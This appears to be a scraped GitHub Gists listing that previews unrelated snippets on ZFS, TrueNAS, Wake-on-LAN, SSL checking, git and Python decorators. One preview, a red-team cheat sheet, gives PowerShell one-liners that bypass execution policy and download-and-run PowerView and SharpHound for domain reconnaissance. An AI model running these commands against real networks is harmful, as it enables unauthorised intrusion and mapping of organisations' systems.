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@stephanGarland
stephanGarland / zfs_file_life.txt
Last active April 1, 2023 15:30
Examining ZFS storage of files and snapshots with ZDB
# create a simple dataset with a small record size, and chown it
❯ sudo zfs create -o recordsize=512 tank/foobar && sudo chown $YOUR_USER:$YOUR_GROUP tank/foobar
❯ cd tank/foobar
# make a 1K file filled with hex FF (pull from /dev/zero, then use tr to translate to FF, which is 377 in octal)
# if it's just zeros, there isn't much to look at with zdb
❯ dd if=/dev/zero bs=1k count=1 | tr "\000" "\377" >file.txt
1+0 records in
1+0 records out
@tprelog
tprelog / enable-docker.sh
Last active November 23, 2023 01:58
Use docker-compose on TrueNAS SCALE 22.12 (Bluefin) without Kubernetes
#!/usr/bin/env bash
#
# Enable docker and docker-compose on TrueNAS SCALE (no Kubernetes)
#
# This script is a hack! Use it at your own risk!!
# Using this script to enable Docker is NOT SUPPORTED by ix-systems!
# You CANNOT use SCALE Apps while using this script!
#
# 1 Create a dedicated Docker dataset in one of your zpools
@stephanGarland
stephanGarland / wake_backup.py
Last active April 2, 2023 10:43
Bespoke WOL as one of my Supermicros has issues reliably coming up, often requiring a few boot attempts
#!/usr/bin/env python3
import datetime
import os
import socket
import subprocess
import sys
import time
MAC_ADDR = "0025904F3A00"
@synthetic-intelligence
synthetic-intelligence / More Helpful Commands
Last active July 2, 2024 15:35
Smart Card Config MacOS
# MacOS smartcard
List tokens available in the system
pluginkit -m -p com.apple.ctk-tokens
ex: com.apple.CryptoTokenKit.setoken(1.0)
com.apple.CryptoTokenKit.pivtoken(1.0)
@m8sec
m8sec / RedTeam_CheatSheet.ps1
Last active May 21, 2024 08:42
Red Team CheatSheet
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@gdamjan
gdamjan / ssl-check.py
Last active April 14, 2024 07:16
Python script to check on SSL certificates
# -*- encoding: utf-8 -*-
# requires a recent enough python with idna support in socket
# pyopenssl, cryptography and idna
from OpenSSL import SSL
from cryptography import x509
from cryptography.x509.oid import NameOID
import idna
from socket import socket
@dev-zzo
dev-zzo / tutorial.md
Last active February 9, 2023 00:08
ChameleonMini fun

Getting it to work

The device is shipped with test firmware installed. To burn a proper firmware, you will need:

The instructions on the blog page are incorrect because Rev G hardware uses ATxmega128A4U instead of ATxmega32A4U. Why? Probably an outdated version of hardware.

@rvl
rvl / git-pushing-multiple.rst
Created February 9, 2016 11:41
How to push to multiple git remotes at once. Useful if you keep mirrors of your repo.

Pushing to Multiple Git Repos

If a project has to have multiple git repos (e.g. Bitbucket and Github) then it's better that they remain in sync.

Usually this would involve pushing each branch to each repo in turn, but actually Git allows pushing to multiple repos in one go.

If in doubt about what git is doing when you run these commands, just

@justinoboyle
justinoboyle / 404_shrug.html
Last active October 8, 2020 22:27
404 Shrug ¯\_(ツ)_/¯
<html lang=en><meta charset=utf-8><head><title>404 Not Found</title><meta name=viewport content="width=device-width,initial-scale=1"><link href="http://fonts.googleapis.com/css?family=Roboto:400,100,100italic,300,300itlic,400italic,500,500italic,700,700italic,900italic,900" rel=stylesheet type=text/css><style>body{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.shrug{font-family:Roboto,sans-serif;font-size:100px}.text{font-family:Roboto,sans-serif;font-size:30px}.footer{font-family:sans-serif;font-size:20px}.center{width:450px;height:340px;position:absolute;top:0;bottom:0;left:0;right:0;margin:auto}a:link{text-decoration:none;color:#006786}a:visited{text-decoration:none;color:#006786}a:hover{text-decoration:none;color:#006786}a:active{text-decoration:none;color:#006786}</style><body><div class=center><div class=shrug>¯\_(ツ)_/¯</div><div class=text>We couldn't find the page you were looking for.</div><br><div class=footer>
@Zearin
Zearin / python_decorator_guide.md
Last active July 18, 2024 00:10
The best explanation of Python decorators I’ve ever seen. (An archived answer from StackOverflow.)

NOTE: This is a question I found on StackOverflow which I’ve archived here, because the answer is so effing phenomenal.

Q: How can I make a chain of function decorators in Python?

If you are not into long explanations, see [Paolo Bergantino’s answer][2].